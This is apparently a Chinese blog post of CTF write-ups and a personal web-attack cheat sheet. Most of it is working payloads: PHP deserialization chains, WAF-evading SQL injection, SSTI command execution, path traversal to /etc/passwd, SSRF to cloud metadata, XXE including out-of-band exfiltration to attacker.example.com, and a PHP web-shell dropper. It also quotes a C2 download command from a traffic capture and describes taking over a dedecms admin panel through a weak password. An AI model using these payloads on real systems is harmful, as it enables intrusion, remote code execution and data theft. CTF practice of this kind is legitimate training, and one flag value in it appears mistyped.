山城杯,大学生信息安全,ctf刷题
请分析注入Payload,给出该加密算法使用的**密钥字符串(Key)** ,结果提交形式:flag{xxxxxxxx}题目内容:小路想获取NexaData公司储存的秘密,但是该公司的网站使用了AI的WAF进行防护,小路看到WAF后一脸懵逼,所以来找你求救,你能帮助她吗?3. 利用链: A->handle(B)->worker(C)->__get()->file_get_contents()这里注
一.山城杯
(1).贪吃蛇
你真的会玩贪吃蛇吗?提交答案格式:flag{xxx}。
题目禁用F12可以直接用ctrl+shift+i打开开发者工具

访问这个js胜利的地址,bp抓包,发现跳转flag.php

2.web4
这道文件上传,可以上传php3绕过过滤或者phtml绕过,改其他数字也可被解析成php

3.打气球
与贪吃蛇一样的,产看js,找到最终php访问,bp查看跳转,找到flag.php

4.反序列化
<?php @include 'common_ui.inc';?>
<?php
class Low{
public $user1;
public $user2;
function __construct($a, $b){
$this->user1 = $a;
$this->user2 = $b;
}
}
class Mid{
public $mid;
function __destruct(){
$high = 'nice,'.$this->mid;
echo $high;
}
}
class High{
public $high;
function __toString(){
//flag.php
include "flag.php";
if($this->high=='flag.php')
{
echo $flag;
echo "<br/>";
}
return 'good job';
}
}
if(isset($_GET['a'])&&isset($_GET['b']))
{
$a = new Low($_GET['a'],$_GET['b']);
$b = unserialize(str_replace('******', chr(0) . '$' , serialize($a)));
echo "<br>";
}
else
{
highlight_file("./index.php");
}
?>
经过str_replace替换发生错位,user2开头被屏蔽,里面的对象被触发,然后就是Mid->__destruct → High->__toString()触发flag
Low实例化:
O:3:"Low":2:{
s:5:"user1";s:30:"******************************";
s:5:"user2";s:71:"";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}};
}
构造: http://url/?a=******************************&b=%22;s:5:%22user2%22;O:3:%22Mid%22:1:{s:3:%22mid%22;O:4:%22High%22:1:{s:4:%22high%22;s:8:%22flag.php%22;}}
5.命令执行:
爆破命令执行函数,查看那些回显不同,比如nc两个字符不同,测试echo nc回显,推测eval执行,机制检测带有nc可以执行eval
构造payload:?CIMER=ECHO “nc”;$comtents=file_get_contents(“/flag”);echo $contents;

二. 第十九届全国大学生信息安全竞赛
1. AI_WAF
题目内容:小路想获取NexaData公司储存的秘密,但是该公司的网站使用了AI的WAF进行防护,小路看到WAF后一脸懵逼,所以来找你求救,你能帮助她吗?
注入点在右上角搜索框中,经过试错可以确定AI检测UNION、SELECT等SQL关键词

(1)尝试获取库名:
' /*!50000UNION*/ /*!50000SELECT*/ 1,database(),1 #
(2)获取所有表名: ' /*!50000UNION*/ /*!50000SELECT*/ 1,GROUP_CONCAT(TABLE_NAME),1 /*!50000FROM*/ information_schema.TABLES /*!50000WHERE*/ TABLE_SCHEMA=database() #

(3) 获取列名
' /*!50000UNION*/ /*!50000SELECT*/ 1,GROUP_CONCAT(COLUMN_NAME),1 /*!50000FROM*/ information_schema.COLUMNS /*!50000WHERE*/ TABLE_NAME='where_is_my_flagggggg' #
(4) 获取Flag
' /*!50000UNION*/ /*!50000SELECT*/ 1,Th15_ls_f149,1 /*!50000FROM*/ where_is_my_flagggggg #

2. hellogate
访问容器环境是一张jfif图片,保存后发现在图片末存在php代码
<?phperror_reporting(0);class A { public $handle; public function triggerMethod() { echo "" . $this->handle; }}class B { public $worker; public $cmd; public function __toString() { return $this->worker->result; }}class C { public $cmd; public function __get($name) { echo file_get_contents($this->cmd); }}$raw = isset($_POST['data']) ? $_POST['data'] : '';header('Content-Type: image/jpeg');readfile("muzujijiji.jpg");highlight_file(__FILE__);$obj = unserialize($_POST['data']);$obj->triggerMethod();?>
漏洞点
1. 未过滤的反序列化: unserialize($_POST['data'])直接反序列化用户输入
2. 触发点: triggerMethod()执行字符串拼接,触发__toString()
3. 利用链: A->handle(B)->worker(C)->__get()->file_get_contents()
构造Payload
<?phpclass C { public $cmd = "/flag";}class B { public $worker;}class A { public $handle;}$c = new C();$b = new B();$b->worker = $c;$a = new A();$a->handle = $b;echo serialize($a);?>
3. redjs
小明在服务器上部署了一个常用的框架,请你帮忙看看是否有问题。

直接看版本发现典型漏洞,去github查找标准的CVE-2025-55182
CVE-2025–55182是React Server Components (RSC) Flight协议实现中的一个不安全的反序列化漏洞。 它允许未经认证的攻击者,通过构造利用原型污染和不安全属性访问模式的恶意HTTP载荷,在服务器上执行任意JavaScript代码
这里直接用exp:https://github.com/Spritualkb/CVE-2025-55182-exp
4. dedecms
最新的V5.7.118版本,在/member处注册账号,登录

跳转会员中心,可以看到存在两个用户,分别是Aa123456789、admin
使用弱口令Aa123456789/Aa123456789登录后台/dede

点击会员-注册会员列表-提升
把刚才注册的会员asd提升为超级管理员
然后切换到asd账户,在后台首页可以上传文件

经过简单的测试发现使用php一句话会被拦截,所以直接上传图片马
然后上传一个包含php代码
这里注意,上传的php代码不能包含GET、POST参数,会被拦截,所以直接写死图片马的相对路径就可以


5.流量分析
SnakeBackdoor-1
题目内容:
近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}
用CTF-NetA-V0.3.0导出http流量,得到httpdata.txt
在1911行,可以明显看出这时是尝试的最后一次密码

username=admin&password=zxcvbnm123
flag{xcvbnm123}
SnakeBackdoor-2
题目内容:
攻击者通过漏洞利用获取Flask应用的 `SECRET_KEY` 是什么,结果提交形式:flag{xxxxxxxxxx}
在pcap文件中查找`/admin/preview`路径的POST请求
在HTTP响应中,可以看到Flask配置的完整输出:
flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3
题目内容:
攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的**密钥字符串(Key)** ,结果提交形式:flag{xxxxxxxx}
攻击者通过Jinja2模板注入执行了多层混淆的Python代码,最终在服务器上植入了一个后门。需要解码这个多层混淆的payload,找出其中使用的加密密钥
在pcap文件中找到 /admin/preview 的POST请求,payload为:
preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('...'))")}}
这是一个base64编码后的Python代码,逐个解码
最终在第38层找到了完整的Python代码
解码后的Python代码包含后门处理函数,其中定义了RC4加密密钥:
flag{v1p3r_5tr1k3_k3y}
SnakeBackdoor-4
题目内容:
攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
使用之前找到的RC4密钥解密后门通信:
查找文件下载命令
在后门通信中找到下载命令:
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
攻击者从C2服务器下载了shell.zip文件
查找解压命令
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
查找文件重命名和执行
flag{python3.13}
三.日常刷题总结
Sql注入一个延迟,一个布尔,一个union,一个宽字符注入,一个二次注入
1‘or 1=1 – +
flag{sqli_retrieve_hidden_data}
' or 1=1 #
flag{sql_injection_login_bypass}
union注入?id='union select 1,2,3#
flag{union_injection_data_leak}
延迟注入1‘ and 1=1 sleep(5)#
报错注入1’ and length(database())=1 #
Xss反射型:<script>alert(“xss”)</scipt>
flag{reflected_xss_html_context}
dom型:
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
此处是由于配置,未对Search进行函数处理,没有反应,只能验证存在dom漏洞:
“”“
function doSearch() {
// 获取输入框的内容
let searchContent = document.getElementById('search-input').value;
// 将内容显示到搜索结果区域
document.getElementById('search-result').innerHTML = '搜索内容:' + searchContent;
}
““”
window.doSearch = function() {
// 获取输入框内容
let searchContent = document.getElementById('search-input').value;
// 显示到结果区域
document.getElementById('search-result').innerHTML = '搜索内容:' + searchContent;
};全局
<button type="button" onclick="let val=document.getElementById('search-input').value;document.write(val)">搜索</button>
Ssti执行命令
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
需要过滤将前面闭合一下
">{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
123.php
http://169.254.169.254/latest/meta-data/
路径遍历穿越
../../../../../etc/passwd
....//....//....//etc/passwd
换行符执行命令
%0a
爆破
Admin
Amdin123
flag{5o9neeztnn9jdf87xwqmclxg9g6g72ug}
xxe
<?xml version="1.0" encoding="UTF-8"?> <!--xml声明-->
<!DOCTYPE author [
<!ENTITY writer "Donald Duck."> <!--内部实体声明-->
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!--外部实体声明-->
]> <!--DTD部分-->
<author>&writer;&xxe;</author> <!--xml部分-->
外发:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.example.com/?p=%file;'>">
%exfil;
]>
<foo>&send;</foo>
内网
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY xxe SYSTEM "http://127.0.0.1/内网服务路径">
]>
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<!-- 引用外部实体,将/etc/passwd内容嵌入SVG文本 -->
<text x="10" y="20">&xxe;</text>
</svg>
class Evil {
public $filename; // 要写入的文件路径
public $content; // 要写入的文件内容
// 反序列化后对象销毁时触发__destruct
public function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
// 实例化并赋值(写入一句话木马到网站根目录)
$evil = new Evil();
$evil->filename = "/var/www/html/shell.php"; // 网站可执行目录(实验默认路径)
$evil->content = "<?php eval(\$_POST['cmd']);?>"; // PHP一句话木马
1' AND LENGTH((SELECT password FROM users WHERE username='administrator')) = 8—
1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'), 1, 1)) = 97—
Session=Tzo0OiJFdmlsIjoyOntzOjQ6ImZpbGUiO3M6OToic2hlbGwucGhwIjtzOjQ6ImRhdGEiO3M6Mjg6Ijw/cGhwIGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4iO30=
原序列化数据中admin权限是b:0(普通用户),需改为b:1(管理员),修正后的序列化字符串为:
php
运行
a:2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1}
步骤 2:重新编码(匹配原 session 格式)
- Base64 编码:将修正后的序列化字符串编码为 Base64:
plaintext
YToyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
- URL 编码:对 Base64 结果进行 URL 编码(匹配原 session 的%3D格式):
plaintext
YToyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3D
flag{j5pifnkcpuvk4jnfmiglivpxnwqdnchs}
更多推荐
所有评论(0)